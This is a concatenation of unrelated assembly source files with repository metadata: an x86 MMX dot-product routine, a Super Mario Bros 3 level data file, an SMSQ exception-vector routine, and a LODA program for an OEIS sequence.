CalculateDotProduct mov eax, [esp + 4] ; pA mov ecx, [esp + 8] ; pB mov edx, [esp + 12] ; nOrder shr edx, 4 pxor mm7, mm7 loopDot: movq mm0, [eax] pmaddwd mm0, [ecx] paddd mm7, mm0 movq mm1, [eax + 8] pmaddwd mm1, [ecx + 8] paddd mm7, mm1 movq mm2, [eax + 16] pmaddwd mm2, [ecx + 16] paddd mm7, mm2 movq mm3, [eax + 24] pmaddwd mm3, [ecx + 24] add eax, byte 32 add ecx, byte 32 paddd mm7, mm3 dec edx jnz loopDot movq mm6, mm7 psrlq mm7, 32 paddd mm6, mm7 movd [esp + 4], mm6 emms mov eax, [esp + 4] endproc ; ; BOOL GetMMXAvailable ( void ); ; proc GetMMXAvailable pushad pushfd pop eax mov ecx, eax xor eax, 0x200000 push eax popfd pushfd pop eax cmp eax, ecx jz short return ; no CPUID command, so no MMX mov eax,1 CPUID test edx,0x800000 return: popad setnz al and eax, byte 1 endproc end
22.208791
76
0.363929
a24ca02fad2a28d0a35f06c4a91723c9ed188465
1,983
asm
Assembly
PRG/levels/Plains/8-1.asm
narfman0/smb3_pp1
38a58adafff67a403591e38875e9fae943a5fe76
[ "Unlicense" ]
null
null
null
PRG/levels/Plains/8-1.asm
narfman0/smb3_pp1
38a58adafff67a403591e38875e9fae943a5fe76
[ "Unlicense" ]
null
null
null
PRG/levels/Plains/8-1.asm
narfman0/smb3_pp1
38a58adafff67a403591e38875e9fae943a5fe76
[ "Unlicense" ]
null
null
null
; Original address was $B787 ; 8-1 .word $0000 ; Alternate level layout .word $0000 ; Alternate object layout .byte LEVEL1_SIZE_11 | LEVEL1_YSTART_180 .byte LEVEL2_BGPAL_05 | LEVEL2_OBJPAL_09 | LEVEL2_XSTART_18 .byte LEVEL3_TILESET_01 | LEVEL3_VSCROLL_LOCKLOW .byte LEVEL4_BGBANK_INDEX(1) | LEVEL4_INITACT_NOTHING .byte LEVEL5_BGM_UNDERGROUND | LEVEL5_TIME_300 .byte $00, $00, $03, $1A, $00, $C0, $0B, $39, $0B, $40, $13, $0A, $E2, $4F, $00, $5F .byte $50, $00, $5F, $51, $00, $5F, $52, $00, $5F, $53, $00, $5F, $54, $00, $5F, $55 .byte $00, $5F, $56, $00, $5F, $57, $00, $5F, $58, $00, $5F, $59, $00, $5A, $59, $0C .byte $53, $5A, $0C, $53, $19, $10, $C1, $08, $33, $16, $A5, $36, $1C, $A4, $16, $11 .byte $01, $35, $14, $20, $35, $18, $00, $11, $1D, $E2, $12, $11, $E2, $1A, $27, $C0 .byte $88, $2A, $28, $B8, $32, $24, $A3, $34, $28, $D2, $17, $2A, $01, $19, $2E, $94 .byte $36, $24, $40, $36, $25, $70, $33, $28, $70, $33, $29, $40, $32, $2E, $13, $35 .byte $2E, $13, $32, $2F, $0A, $35, $2F, $30, $33, $20, $A7, $26, $05, $40, $45, $05 .byte $08, $1A, $34, $A6, $1A, $3C, $A3, $54, $3C, $34, $59, $3C, $30, $56, $37, $31 .byte $58, $37, $32, $59, $34, $30, $37, $3A, $02, $11, $38, $E2, $12, $35, $E2, $48 .byte $40, $BC, $0C, $55, $40, $B1, $03, $48, $4E, $BE, $01, $57, $4F, $B0, $00, $36 .byte $44, $28, $36, $45, $0B, $58, $4F, $30, $59, $45, $30, $19, $40, $92, $19, $47 .byte $96, $1A, $51, $A4, $1A, $5A, $A3, $36, $50, $07, $53, $50, $30, $54, $50, $B0 .byte $00, $31, $56, $21, $36, $5D, $20, $34, $5F, $A5, $15, $56, $31, $17, $57, $32 .byte $12, $5A, $E2, $1A, $6B, $A7, $12, $62, $02, $58, $6B, $31, $11, $67, $E2, $14 .byte $6D, $E2, $53, $72, $32, $56, $72, $33, $55, $7A, $32, $58, $7A, $31, $37, $77 .byte $0E, $38, $73, $83, $19, $73, $96, $14, $75, $E2, $11, $7C, $E2, $12, $7D, $02 .byte $1A, $84, $AD, $35, $8A, $A5, $39, $84, $60, $12, $8E, $E2, $14, $85, $E2, $35 .byte $91, $A4, $19, $93, $93, $40, $98, $09, $E2, $02, $D4, $FF
66.1
85
0.490671
388df43366f81c3e9ab0631827cd5fa8e3937aca
458
asm
Assembly
smsq/qd/exv.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
smsq/qd/exv.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
smsq/qd/exv.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
* Set exception vector (per job) V2.00  1986 Tony Tebby QJUMP * section qd * xdef qd_exv * xref sms_ckid xref sms_rte * include dev8_keys_jcbq include dev8_keys_sys * * d1 cr job id * a0 sp base of job * a1 c p base of table * * all other registers preserved * qd_exv bsr.l sms_ckid check id and set a0 bne.s qdx_exit sub.w #$54,a1 move.l a1,jcb_exv(a0) set vector move.l a1,sys_ertb(a6) moveq #0,d0 ... ok qdx_exit bra.l sms_rte end
15.793103
65
0.696507
845dce844d16765775f63ea5ba053ef9fec3cb45
599
asm
Assembly
programs/oeis/271/A271342.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/271/A271342.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
69
2021-08-28T10:34:30.000Z
2022-03-20T19:16:19.000Z
programs/oeis/271/A271342.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A271342: Sum of all even divisors of all positive integers <= n. ; 0,2,2,8,8,16,16,30,30,42,42,66,66,82,82,112,112,138,138,174,174,198,198,254,254,282,282,330,330,378,378,440,440,476,476,554,554,594,594,678,678,742,742,814,814,862,862,982,982,1044,1044,1128,1128,1208,1208,1320,1320,1380,1380,1524,1524,1588,1588,1714,1714,1810,1810,1918,1918,2014,2014,2196,2196,2272,2272,2392,2392,2504,2504,2684,2684,2768,2768,2960,2960,3048,3048,3216,3216,3372,3372,3516,3516,3612,3612,3860,3860,3974,3974,4160 lpb $0 add $2,$0 add $3,2 lpb $2 add $1,$3 trn $2,$3 lpe trn $0,2 lpe mov $0,$1
42.785714
432
0.707846